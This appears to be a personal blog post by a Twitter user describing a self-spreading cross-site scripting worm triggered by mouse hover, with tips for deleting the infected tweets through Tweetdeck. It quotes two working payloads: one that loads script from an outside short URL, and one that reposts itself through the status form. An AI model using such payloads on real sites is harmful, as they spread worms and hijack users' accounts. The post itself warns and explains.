VIRUS/Glitch in Twitter’s new location feature?


My twitter just looked like this:

Someone used a glitch in the new location feature I guess. Look at this code in their advertising for the feature:

New! Add a location to your tweets. Turn it on - No thanks
Latest:"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\\u002ffl9A7')"/ 3 minutes ago

You see it in my screenshot. So basically me doing nothing transformed my whole Twitter into what you see in the screenshot, the error was reloading itself as if Twitter was trying to post over and over again. It appears I posted that code too, everyone who sees it gets affected.

After I clicked Home, every link on my page was leading to instead of Twitter, feels and looks like a virus. It is spreading through Twitter!! My whole timeline is complaining, so please stay away from twitter or use an app which might be save!


Tweetdeck seems to be save. If you are affected by that worm, you can delete your own tweet(s) spreading the worm: You can view your own profile in Tweetdeck by clicking your picture, Other Actions, User, View Profile. Then next to your “virus” tweet, Other Actions, Tweet, Delete.

The offender looks like this, if YOU tweeted this, delete it please:"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/

[EDIT 2]
First afterthought: Wow, it seems like such a beginner’s error, to allow user generated content to inject code into . Twitter is a massive thing now, couldn’t anyone foresee this?

2nd afterthought: Twitter has double-post protection. If the hackers were a little bit more clever, they would have made the virus change its form like HIV, and then I would have spammed out 10 or 20 of those links in a state of surprise. *swallows* I hope Twitter hires more security guys now.

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